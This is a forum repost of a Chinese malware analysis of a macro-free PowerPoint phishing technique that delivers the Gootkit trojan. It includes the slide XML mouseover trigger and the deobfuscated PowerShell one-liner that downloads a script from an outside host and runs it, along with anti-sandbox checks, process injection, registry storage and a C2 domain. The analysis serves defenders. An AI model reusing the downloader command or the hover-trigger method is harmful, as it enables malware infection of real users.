搜索

[11466] 2017-06-16_新型PPT钓鱼攻击分析（含gootkit木马详细分析）

文档创建者：s7ckTeam
浏览次数：73
最后更新：2025-01-18
2017-06-16_新型PPT钓鱼攻击分析（含gootkit木马详细分析） 新 型 P P T 钓 鱼 攻 击 分 析 （ 含 g o o t k i t 木 马 详 细 分 析 ） d i f f w a y   F r e e B u f   2 0 1 7 - 0 6 - 1 6 *   本 文 作 者 ： 兰 云 科 技 银 河 实 验 室 @ d i f f w a y ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 1   概 述 概 述 最 近 出 现 了 一 种 新 型 的 最 近 出 现 了 一 种 新 型 的 P P T 钓 鱼 攻 击 方 式 ， 该 种 钓 鱼 攻 击 方 式 不 需 要 宏 就 能 实 现 执 行 钓 鱼 攻 击 方 式 ， 该 种 钓 鱼 攻 击 方 式 不 需 要 宏 就 能 实 现 执 行 p o w e r s h e l l 的 功 能 ， 通 过 网 络 下 载 的 功 能 ， 通 过 网 络 下 载 g o o t k i t 木 马 进 行 控 制 。 木 马 进 行 控 制 。 2   分 析 分 析 样 本   M D 5 ： 3 b f f 3 e 4 f e c 2 b 6 0 3 0 c 8 9 e 7 9 2 c 0 5 f 0 4 9 f c 在 拿 到 样 本 我 们 放 到 虚 拟 机 中 进 行 执 行 ， 可 以 看 到 以 下 ， 但 是 这 并 不 会 触 发 攻 击 当 我 们 用 F 5 放 映 这 个 文 档 后 ， 并 把 鼠 标 放 到   L o a d i n g … P l e a s e   w a i t   这 个 上 面 ， 就 可 以 看 到 如 下 的 画 面 ， 提 示 我 们 要 启 动 一 个 外 部 程 序 这 个 时 候 我 们 在 点 击 启 动 之 后 ， 会 看 见 一 个 p o w e r s h e l l 的 窗 口 一 闪 而 过 ， 可 以 知 道 样 本 执 行 了 一 段 p o w e r s h e l l 的 脚 本 我 们 将 样 本 后 缀 名 改 为 z i p , 看 看 这 段 p o w e r s h e l l   代 码 在 何 处 ， 我 们 最 终 在 p p t s l i d e s 中 找 到 了 这 段 p o w e r s h e l l 脚 本
我 们 在 s l i d e 1 . x m l . r e l s   中 找 到 这 段 p o w e r s h e l l 脚 本 ， 我 们 可 以 看 到 I d 为 r I d 2 ， 我 们 在 对 应 的 s l i d e 1 . x m l     中 i d 为 r I d 2     对 应 的 动 作 位 为 ， 当 鼠 标 覆 盖 时 ， 就 触 发 这 个 外 部 事 件 < a : h l i n k M o u s e O v e r   r : i d = " r I d 2 " a c t i o n = " p p a c t i o n : / / p r o g r a m " / > 我 们 来 看 看 这 段 p o w e r s h e l l   脚 本 （ 已 还 原 ） ， 可 以 看 到 是 下 载 一 个 p h p 文 件 放 到 临 时 文 件 夹 ， 并 重 命 名 为 i i . j s e p o w e r s h e l l   - N o P   - N o n I   - W   H i d d e n   - E x e c B y p a s s   " I E X   ( N e w - O b j e c t S y s t e m . N e t . W e b C l i e n t ) . D o w n l o a d F i l e ( ' h t t p : / / ' + ' c c c n . n l / ' + ' c . p h p ' , " $ e n v : t e m p i i . j s e " ) ; I n v o k e - I t e m   " $ e n v : t e m p i i . j s e " " 我 们 可 以 看 到 这 个 j s     文 件 ， 这 个 文 件 是 经 过 强 混 淆 的 作 用 是 下 载 个 e x e 文 件 我 们 来 详 细 分 析 下 下 载 到 的 P E 文 件 M D 5 1 3 c d b d 8 c 3 1 1 5 5 6 1 0 b 6 2 8 4 2 3 d c 2 7 2 0 4 1 9 编 译 时 间 2 0 1 7 年 5 月 2 7 日 1 4 点 编 译 器 信 息 M i c r o s o f t   V i s u a l   C + +   v e r .   8 . 0 壳 信 息 无 壳 下 图 为 样 本 的 大 致 流 程
在 样 本 的 开 始 阶 段 ， 做 了 些 反 模 拟 机 的 工 作 ， 比 如 一 些 错 误 的 函 数 调 用 ， 看 返 回 值 是 否 被 修 改 ， 执 行 很 多 无 效 指 令 ， 来 达 到 模 拟 机 指 令 的 阈 值 等 等 我 们 来 看 看 这 个 样 本 中 的 s u b _ 4 1 E 1 6 0 中 的 无 效 指 令
之 后 一 个 大 的 s l e e p 来 对 抗 沙 箱 ， 因 为 很 多 沙 箱 是 有 时 间 范 围 的 之 后 在 解 密 出 一 段 s h e l l c o d e 进 行 执 行 ， 这 段 s h e l l c o d e 的 主 要 作 用 就 是 解 密 出 一 个 p e 文 件 然 后 加 载 运 行 ， 解 密 出 的 P E 文 件
将 这 个 P E 文 件 d u m p 出 来 ， 看 以 下 基 本 信 息 M D 5 8 9 5 0 9 7 6 1 e 2 6 3 6 e 2 b 8 a 1 c 6 f 7 e c 8 8 2 3 b 8 f 编 译 器 时 间 2 0 1 1 - 0 4 - 1 1   0 2 : 3 9 : 2 4 编 译 器 类 型 M i c r o s o f t   V i s u a l   C + +   v e r .   ~ 6 . 0 ~ 7 . 1 0   –   L i n k e r   1 0   –   V i s u a l   2 0 1 0 样 本 首 先 会 获 取 当 前 样 本 名 称 和 m s t s c . e x e 比 较 ， 如 果 不 相 同 ， 则 进 入 注 入 模 块 样 本 首 先 会 创 建 m s t s c . e x e 然 后 通 过 Z w C r e a t e S e c t i o n 和 Z w M a p V i e w O f S e c t i o n   进 行 注 入 ， 并 在 注 入 后 ， 获 取 启 动 地 址 并 进 行 修 改
我 们 手 动 附 加 ， 进 行 修 改 ， 然 后 修 改 E I P ， 进 行 调 试 ， 我 们 将 开 始 地 址 修 改 为 下 面 的 样 子 由 于 和 原 文 件 代 码 相 同 ， 我 们 直 接 到 文 件 名 比 较 的 地 方 ， 这 里 比 较 相 同 后 ， 首 先 会 获 取 进 程 的 权 限 如 果 判 断 是 低 权 限 的 进 程 ， 则 会 通 过 S h e l l E x e c u t e E x     使 用 管 理 员 权 限 启 动 之 后 在 比 较 当 前 进 程 不 是 I E 和 不 是 任 务 进 程 后 ， 打 开 B I O S 注 册 表 ， 查 找 是 否 在 虚 拟 机 中 并 从 系 统 信 息 中 找 到 沙 箱 的 蛛 丝 马 迹 这 个 是 寻 找 S a n d b o x
查 找 B O C H S 查 找 的 沙 箱 还 有     V B O X   、 Q E M U 、 S M C I 、 V m w a r e 、 F T N T - 1 、 V i r t u a l B o x 、 如 果 查 找 到 沙 箱 则 进 入 死 循 环 然 后 拷 贝 自 身 到 如 下 目 录 下 ， 重 命 名 位 m q n e t s . e x e , 并 执 行 并 删 除 自 身 我 们 看 看 在 拷 贝 到 I E 目 录 下 样 本 会 做 些 什 么 ， 在 这 里 比 较 是 在 I E 目 录 下 的 时 候 ， 会 发 生 跳 转
可 以 通 过 伪 代 码 可 以 发 现 在 通 过 比 较 后 。 会 执 行 一 个 线 程 ， 我 们 看 看 这 个 线 程 开 头 还 是 一 段 判 断 自 己 是 否 在 虚 拟 机 中 设 置 了 4 个 环 境 变 量 分 别 是 S t a n d a l o n e m t m     t r u e V e n d o r _ i d   e x e _ s c h e d u l e r _ 3 3 3 3 M a i n p r o c e s s o v e r r i d e     s v c h o s t . e x e R a n d o m L i s t e n P o r t B a s e     6 0 0 0   这 个 线 程 的 主 要 作 用 是 开 启 下 面 的 5 个 线 程
我 们 首 先 看 第 一 个 线 程 ， 主 要 作 用 是 连 接 一 个 网 址 网 址 为     w e b . 1 9 0 1 o s p i n o s c t . c o m     在 连 接 时 候 ， 还 包 括 了 探 测 I E 代 理 的 设 置 ， 如 果 发 现 ， 进 行 设 置 关 闭 重 定 向 和 加 入 查 询 认 证 ( S S L )
将 接 收 的 文 件 内 容 放 到 注 册 中 注 册 表 为     H K E Y _ C U R R E N T _ U S E R S o f t w a r e b i n a r y I m a g e 3 2 _ 0 H K E Y _ C U R R E N T _ U S E R S o f t w a r e b i n a r y I m a g e 3 2 _ 1 第 二 个 线 程 主 要 是 将 第 一 步 下 载 的 创 建 成 文 件 将 I E 的 保 护 模 式 设 置 位 禁 用
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理